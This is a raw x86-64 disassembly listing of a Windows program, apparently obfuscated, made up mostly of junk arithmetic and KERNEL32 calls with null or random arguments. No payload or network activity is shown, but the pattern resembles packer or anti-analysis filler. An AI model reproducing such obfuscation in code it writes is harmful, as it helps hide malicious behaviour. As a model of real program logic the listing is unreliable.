mov dword [rsp + 0xa56c], eax
mov eax, dword [0x14028edd8]
mov ecx, dword [rsp + 0xa550]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8be0], eax
mov rax, qword [rsp + 0x143d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa3b8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa51c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov rax, qword [rsp + 0x14140]
mov rcx, qword [rsp + 0x140c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa3c8], eax
mov rax, qword [rsp + 0x14150]
movzx eax, byte [rax]
mov byte [rsp + 0x671], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa2a0], eax
movzx eax, word [rsp + 0x2b78]
mov rcx, qword [rsp + 0x14168]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140282724], ax
mov rax, qword [rsp + 0x14180]
mov ecx, dword [rsp + 0xa2e4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14020]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa438]
mov dword [rsp + 0xa5c4], eax
mov rax, qword [rsp + 0x13e78]
mov rcx, qword [rsp + 0x141d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14140]
mov dword [rcx], eax
mov rax, qword [rsp + 0x144f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9d28]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa310], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadTimes]
mov rax, qword [0x14028edd0]
mov rcx, qword [rsp + 0x140c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8b64], eax
movsx eax, word [rsp + 0x2b5c]
movsx ecx, word [rsp + 0x2bac]
or eax, ecx
mov word [rsp + 0x2c10], ax
movzx eax, byte [rsp + 0x64f]
mov byte [rsp + 0x672], al
mov rax, qword [0x14028ee20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x144d0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x65d], al
mov rax, qword [rsp + 0x144b0]
movzx eax, word [rax]
mov word [0x14028edc8], ax
mov rax, qword [rsp + 0x14228]
mov eax, dword [rax]
mov dword [rsp + 0xa5c8], eax
mov rax, qword [rsp + 0x144a8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa3fc]
shl eax, cl
mov dword [rsp + 0xa490], eax
mov rax, qword [rsp + 0x14150]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x656]
xor eax, ecx
mov byte [rsp + 0x16a], al
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
mov rcx, qword [0x14028ee48]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x19ac], ax
mov rax, qword [rsp + 0x14110]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9e70]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4e4], eax
lea rax, [rsp + 0xa588]
mov qword [rsp + 0x14510], rax
mov eax, dword [rsp + 0xa4cc]
mov ecx, dword [rsp + 0x9260]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3f8], eax
lea rcx, [0x140283990]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2c08], ax
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa53c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa38c], eax
mov rax, qword [rsp + 0x13fb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14130]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140282700], ax
mov rax, qword [rsp + 0x13f68]
movzx eax, byte [rax]
mov byte [rsp + 0x673], al
mov eax, dword [rsp + 0x81a8]
mov ecx, dword [rsp + 0x9e40]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa388], eax
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov dword [rsp + 0xa5cc], eax
movsx eax, word [0x1402826cc]
movsx ecx, word [rsp + 0x2b24]
sub eax, ecx
mov word [rsp + 0x2bd4], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x14518], rax
movsx eax, byte [rsp + 0x2e9]
movsx ecx, byte [rsp + 0x63e]
sub eax, ecx
mov byte [rsp + 0x66c], al
movzx eax, byte [rsp + 0x66e]
mov byte [rsp + 0x674], al
lea rcx, [rsp + 0x21ae0]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rcx, qword [rsp + 0x14518]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xa29c], eax
movzx eax, word [rsp + 0x2c24]
mov rcx, qword [rsp + 0x14240]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2680], ax
mov eax, dword [rsp + 0x9d94]
mov ecx, dword [rsp + 0xa3f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x66b8], eax
mov rax, qword [rsp + 0x141e8]
mov ecx, dword [0x14028ee88]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140282728], eax
mov eax, dword [rsp + 0x9930]
movzx ecx, al
mov eax, dword [rsp + 0xa454]
sar eax, cl
mov dword [rsp + 0xa534], eax
movzx ecx, word [rsp + 0x2ba0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b58], ax
mov rax, qword [rsp + 0x14020]
mov ecx, dword [rsp + 0xa370]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa430], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [0x14028edd0]
mov eax, dword [rax]
mov dword [rsp + 0xa5d0], eax
movzx eax, byte [rsp + 0x2a7]
movzx ecx, byte [rsp + 0x46c]
shl eax, cl
mov byte [rsp + 0x673], al
mov rax, qword [rsp + 0x14310]
movzx eax, word [rax]
mov word [rsp + 0x2c5c], ax
mov rax, qword [rsp + 0x14140]
mov eax, dword [rax]
mov ecx, dword [0x14028270c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3e4], eax
mov rax, qword [rsp + 0x14440]
mov ecx, dword [rsp + 0xa4c0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x86e4], eax
mov eax, dword [0x140282690]
mov ecx, dword [rsp + 0xa3dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9580], eax
mov rax, qword [rsp + 0x14490]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa238]
sub ecx, eax
mov eax, ecx
mov dword [0x140282708], eax
mov rax, qword [rsp + 0x14130]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bc0]
and eax, ecx
mov rcx, qword [rsp + 0x141e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
mov byte [rsp + 0x675], al
movsx eax, byte [rsp + 0x655]
movsx ecx, byte [rsp + 0x28d]
add eax, ecx
mov rcx, qword [rsp + 0x13e88]
mov byte [rcx], al
movzx eax, word [rsp + 0x2bb4]
mov word [rsp + 0x2c60], ax
mov rax, qword [rsp + 0x141c8]
mov rcx, qword [0x14028ee60]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa3a8], eax
mov rax, qword [rsp + 0x141f8]
mov ecx, dword [rsp + 0xa480]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6630], eax
mov rax, qword [rsp + 0x14388]
movzx eax, word [rax]
mov rcx, qword [0x14028edf8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1590], ax
movzx eax, byte [rsp + 0x1ae]
mov rcx, qword [rsp + 0x14280]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x659], al
mov rax, qword [rsp + 0x140b8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x142b8]
mov qword [rsp + 0x14520], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14520]
mov eax, dword [rax]
shr eax, cl
mov dword [0x1402826d4], eax
mov eax, dword [0x14028ee44]
mov dword [rsp + 0xa5d4], eax
mov eax, dword [rsp + 0x64d8]
mov rcx, qword [rsp + 0x140f0]
mov qword [rsp + 0x14528], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14528]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa3ac], eax
mov rax, qword [rsp + 0x14248]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa33c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9dd8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
movzx eax, word [0x1402826f8]
mov word [rsp + 0x2c64], ax
movzx eax, byte [rsp + 0x5f5]
mov rcx, qword [rsp + 0x143b8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x674], al
mov rax, qword [rsp + 0x14260]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa398]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x747c], eax
lea rcx, [rsp + 0x21a90]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [0x14028edd0]
mov rcx, qword [rsp + 0x14178]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa40c], eax
mov rax, qword [rsp + 0x140b8]
mov eax, dword [rax]
mov dword [rsp + 0xa5d8], eax
mov eax, dword [rsp + 0xa270]
mov ecx, dword [rsp + 0x8fc8]
sub ecx, eax
mov eax, ecx
mov dword [0x14028272c], eax
mov eax, dword [rsp + 0x8c40]
mov ecx, dword [rsp + 0xa310]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa56c], eax
mov rax, qword [rsp + 0x13e88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x64e]
add eax, ecx
mov byte [rsp + 0x630], al
lea rax, [0x14028ee68]
mov qword [rsp + 0x14530], rax
movzx eax, byte [rsp + 0x63c]
movzx ecx, byte [rsp + 0x398]
and eax, ecx
mov byte [rsp + 0x671], al
mov rax, qword [rsp + 0x141d8]
movzx eax, word [rax]
mov word [rsp + 0x2c68], ax
mov rax, qword [0x14028eea8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8604]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d94], eax
mov rax, qword [rsp + 0x14260]
mov ecx, dword [rsp + 0xa2b0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa2a8], eax
mov rax, qword [rsp + 0x14460]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x275]
add eax, ecx
mov byte [rsp + 0x21d], al
mov rax, qword [0x14028edf8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x140d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140282700], ax
mov eax, dword [rsp + 0xa3bc]
mov ecx, dword [rsp + 0x9dd8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa5c8], eax
mov rax, qword [rsp + 0x144e0]
mov eax, dword [rax]
mov dword [rsp + 0xa5dc], eax
mov rax, qword [rsp + 0x14018]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14348]
mov qword [rsp + 0x14538], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14538]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa41c], eax
mov rax, qword [rsp + 0x140b8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14218]
mov qword [rsp + 0x14540], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14540]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x70cc], eax
lea rax, [0x140281dc2]
mov qword [rsp + 0x14548], rax
movzx eax, word [rsp + 0x2b8c]
mov rcx, qword [rsp + 0x141d8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x157c], ax
mov eax, dword [rsp + 0xa3d4]
mov dword [rsp + 0xa5e0], eax
mov rax, qword [rsp + 0x141e8]
mov ecx, dword [0x1402826c4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa400], eax
mov rax, qword [rsp + 0x14120]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x630]
add eax, ecx
mov byte [0x140281dca], al
mov rax, qword [rsp + 0x14190]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1dc8]
add eax, ecx
mov word [rsp + 0x2be8], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa4b4], eax
movzx eax, word [0x1402826e0]
mov word [rsp + 0x2c6c], ax
mov rax, qword [rsp + 0x14470]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x650]
sub eax, ecx
mov byte [rsp + 0x34e], al
mov rax, qword [rsp + 0x14238]
mov ecx, dword [rsp + 0x6f54]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6ad8], eax
mov rax, qword [rsp + 0x14180]
mov rcx, qword [rsp + 0x141c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa4d8], eax
mov eax, dword [rsp + 0xa428]
mov dword [rsp + 0xa5e4], eax
mov dword [rsp + 0x247d0], 0x114
mov rax, qword [rsp + 0x13ea0]
mov rcx, qword [rsp + 0x143d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa5b8], eax
mov rax, qword [rsp + 0x14348]
mov ecx, dword [rsp + 0xa4e0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa598], eax
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
mov word [rsp + 0x2c70], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xf9f8
mov rcx, qword [rsp + 0x14200]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa5b0], eax
mov rax, qword [rsp + 0x14278]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x275]
sub eax, ecx
mov byte [0x14028eec1], al
mov eax, dword [rsp + 0x80c0]
mov ecx, dword [rsp + 0xa57c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7b80], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov eax, dword [rsp + 0x872c]
mov ecx, dword [rsp + 0x8b98]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x8348], eax
mov eax, dword [rsp + 0xa40c]
mov rcx, qword [rsp + 0x14420]
mov qword [rsp + 0x14550], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14550]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x747c], eax
mov rax, qword [rsp + 0x14238]
mov rcx, qword [rsp + 0x14380]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa474], eax
mov rax, qword [rsp + 0x143f8]
movzx eax, byte [rax]
mov byte [rsp + 0x676], al
lea rcx, [rsp + 0x247d0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xa5e8], eax
mov rcx, qword [rsp + 0x13eb0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xa27c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xa538], eax
movzx eax, word [rsp + 0x2c38]
movzx ecx, word [rsp + 0x1cc0]
shl eax, cl
mov word [rsp + 0x2c6c], ax
movzx eax, word [rsp + 0x1dec]
mov word [rsp + 0x2c74], ax
mov rax, qword [rsp + 0x140b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x64e]
and eax, ecx
mov byte [rsp + 0x4c7], al
mov eax, dword [rsp + 0xa474]
mov dword [0x14028edc4], eax
mov rax, qword [rsp + 0x141d0]
mov rcx, qword [rsp + 0x140c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa590], eax
movzx eax, byte [rsp + 0x2d7]
movzx ecx, byte [rsp + 0xbb]
sub eax, ecx
mov byte [rsp + 0x3db], al
movzx eax, word [rsp + 0x2c58]
mov rcx, qword [rsp + 0x144b0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x16d0], ax
mov rax, qword [rsp + 0x140d0]
mov eax, dword [rax]
mov dword [rsp + 0xa5ec], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa26c], eax
mov rax, qword [rsp + 0x14020]
mov ecx, dword [rsp + 0xa5bc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa33c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x14260]
mov eax, dword [rax]
mov dword [rsp + 0xa5f0], eax
lea rcx, [rsp + 0x24350]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xa29c], eax
mov eax, dword [rsp + 0xa590]
mov ecx, dword [rsp + 0xa464]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x763c], eax
mov rax, qword [rsp + 0x13fb0]
movzx eax, word [rax]
movzx ecx, word [0x1402826a4]
sub eax, ecx
mov rcx, qword [rsp + 0x14130]
mov word [rcx], ax
mov rax, qword [rsp + 0x14460]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14338]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x140281dcb], al
mov eax, dword [rsp + 0xa3c4]
mov ecx, dword [rsp + 0xa5bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9824], eax
mov eax, dword [rsp + 0xa544]
mov ecx, dword [rsp + 0x82f8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3e8], eax
mov rax, qword [rsp + 0x13f10]
mov eax, dword [rax]
mov dword [rsp + 0xa5f4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xa2dc], eax
mov eax, dword [0x1402826b0]
movzx ecx, al
mov eax, dword [rsp + 0x82f8]
sar eax, cl
mov dword [rsp + 0x9bd8], eax
mov rax, qword [rsp + 0x13ea0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x64d8]
shl eax, cl
mov dword [rsp + 0xa374], eax
movzx eax, word [rsp + 0x24a0]
mov word [rsp + 0x2c78], ax
mov rax, qword [rsp + 0x13f90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x140b0]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x13e88]
mov byte [rcx], al
movzx eax, byte [rsp + 0x676]
mov byte [rsp + 0x677], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
movzx eax, word [rsp + 0x2964]
movzx ecx, word [rsp + 0x2bf8]
sub eax, ecx
mov word [0x14028eeb0], ax
mov rax, qword [rsp + 0x14020]
mov ecx, dword [rsp + 0xa550]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa588], eax
mov rax, qword [rsp + 0x14180]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa57c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa584], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.KCb5ubxwRq
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14558], rax
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
mov rcx, qword [0x14028ee48]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1ccc], ax
movzx eax, byte [rsp + 0x62f]
mov rcx, qword [rsp + 0x14338]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x5e9], al
mov rax, qword [rsp + 0x14288]
mov eax, dword [rax]
mov dword [rsp + 0xa5f8], eax
mov eax, dword [rsp + 0xa3f0]
mov ecx, dword [rsp + 0xa4ac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa5bc], eax
movzx ecx, word [rsp + 0x2bd8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b70], ax
mov rax, qword [rsp + 0x143a8]
mov ecx, dword [rsp + 0xa2bc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x144c0]
mov dword [rcx], eax
lea rdx, [rsp + 0xa27c]
mov rcx, qword [rsp + 0x14328]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xa5fc], eax
mov rcx, qword [rsp + 0x14518]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x14300]
mov eax, dword [rax]
mov dword [rsp + 0xa600], eax
mov rax, qword [rsp + 0x141a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x64d]
sub eax, ecx
mov byte [0x14028ee08], al
mov dword [rsp + 0x20], 0xff6
mov r9d, 0x1d10
mov r8d, 0x3ef3
mov edx, 0x1ab0
mov rcx, qword [rsp + 0x14200]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xa4f0], eax
mov rax, qword [rsp + 0x14168]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c4c]
sub eax, ecx
mov word [rsp + 0x1c78], ax
lea rax, [rsp + 0xa160]
mov qword [rsp + 0x14560], rax
mov eax, dword [0x140282708]
mov ecx, dword [rsp + 0xa5ec]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa37c], eax
movsx eax, word [rsp + 0x2be8]
mov rcx, qword [rsp + 0x14448]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x20f4], ax
movsx eax, byte [rsp + 0x672]
movsx ecx, byte [rsp + 0x649]
xor eax, ecx
mov byte [rsp + 0x62e], al
movzx eax, word [0x14028ede4]
movzx ecx, word [rsp + 0x2098]
sar eax, cl
mov word [rsp + 0x2c44], ax
mov rax, qword [rsp + 0x143b8]
movzx eax, byte [rax]
mov byte [rsp + 0x678], al
mov rax, qword [rsp + 0x141c0]
mov ecx, dword [0x1402826a8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x79a4], eax
mov rax, qword [rsp + 0x143a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa56c]
add ecx, eax
mov eax, ecx
mov dword [0x140282730], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.WFVlCUxOJ4B8aE6IIa8s3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14568], rax
mov eax, dword [rsp + 0x7c54]
mov dword [rsp + 0xa604], eax
mov eax, dword [0x1402826f4]
mov ecx, dword [rsp + 0x9d94]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa518], eax
mov rax, qword [rsp + 0x14140]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa2cc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3b8], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa4b4], eax
movzx eax, word [rsp + 0x2680]
movzx ecx, word [rsp + 0x2c1c]
sub eax, ecx
mov word [rsp + 0x2154], ax
movzx eax, byte [rsp + 0x172]
movzx ecx, byte [rsp + 0x671]
add eax, ecx
mov byte [rsp + 0x64b], al
mov eax, dword [rsp + 0xa37c]
mov dword [rsp + 0xa608], eax
mov rax, qword [rsp + 0x14180]
mov ecx, dword [rsp + 0x7b28]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa430], eax
mov edx, 0x2ec5b6
mov rcx, qword [rsp + 0x143d0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xa3d8], eax
mov rax, qword [rsp + 0x141d0]
mov eax, dword [rax]
mov ecx, dword [0x1402826c0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa5c0], eax
mov rax, qword [rsp + 0x140f0]
mov eax, dword [rax]
mov dword [0x14028edc0], eax
movzx eax, byte [rsp + 0x651]
mov byte [rsp + 0x679], al
mov rax, qword [rsp + 0x13fb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b28]
add eax, ecx
mov word [rsp + 0x2c6c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x143c8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2b98]
sub eax, ecx
mov word [rsp + 0x29f4], ax
movsx eax, byte [rsp + 0x658]
mov rcx, qword [rsp + 0x14198]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x672], al
mov rax, qword [rsp + 0x14510]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa524]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa568], eax
mov rax, qword [rsp + 0x14178]
mov eax, dword [rax]
mov dword [rsp + 0xa60c], eax
mov rax, qword [rsp + 0x14338]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2cd]
sar eax, cl
mov byte [rsp + 0x46c], al
mov rax, qword [rsp + 0x13fb0]
movzx eax, word [rax]
mov word [rsp + 0x2c7c], ax
mov rax, qword [rsp + 0x14218]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14380]
mov qword [rsp + 0x14570], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14570]
mov eax, dword [rax]
shl eax, cl
mov dword [0x1402826d4], eax
mov rax, qword [rsp + 0x140d0]
mov rcx, qword [0x14028edd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa5f0], eax
mov eax, dword [rsp + 0xa400]
mov ecx, dword [rsp + 0xa270]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c60], eax
mov eax, dword [rsp + 0xa430]
mov ecx, dword [rsp + 0xa520]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x70cc], eax
movzx eax, byte [rsp + 0x398]
movzx ecx, byte [rsp + 0x16a]
sub eax, ecx
mov byte [rsp + 0x65c], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov r9d, 2
lea r8, [rsp + 0x13f28]
mov rdx, qword [rsp + 0x13f80]
mov rcx, qword [rsp + 0x14200]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa3d8], eax
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
mov word [rsp + 0x2c80], ax
mov rax, qword [rsp + 0x13f10]
mov ecx, dword [rsp + 0x9260]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7d08], eax
lea rax, [rsp + 0xa374]
mov qword [rsp + 0x14578], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov rax, qword [rsp + 0x14378]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa510]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8df4], eax
mov rax, qword [0x14028edd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa604]
add ecx, eax
mov eax, ecx
mov dword [0x1402826c4], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa610], eax
mov eax, dword [rsp + 0xa5cc]
mov ecx, dword [rsp + 0xa3c0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x141e8]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2bd4]
mov word [rsp + 0x2c84], ax
movsx eax, byte [rsp + 0x632]
mov rcx, qword [rsp + 0x140b0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x62], al
movzx eax, byte [rsp + 0x1ae]
mov byte [rsp + 0x67a], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
mov rax, qword [rsp + 0x14130]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14168]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1590], ax
mov rax, qword [rsp + 0x141c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa3fc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4a8], eax
lea rax, [rsp + 0xa48c]
mov qword [rsp + 0x14580], rax
movzx eax, byte [rsp + 0x665]
movzx ecx, byte [rsp + 0x1ae]
xor eax, ecx
mov byte [rsp + 0x660], al
movzx eax, word [0x1402826a4]
movzx ecx, word [rsp + 0x2c14]
shl eax, cl
mov word [0x140282734], ax
lea rax, [rsp + 0xa594]
mov qword [rsp + 0x14588], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov rax, qword [rsp + 0x14178]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9e20]
sar eax, cl
mov rcx, qword [rsp + 0x14288]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14178]
mov ecx, dword [rsp + 0x9ddc]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x65a8], eax
mov rax, qword [rsp + 0x14560]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa510]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14510]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2b68]
movzx ecx, word [0x140282724]
add eax, ecx
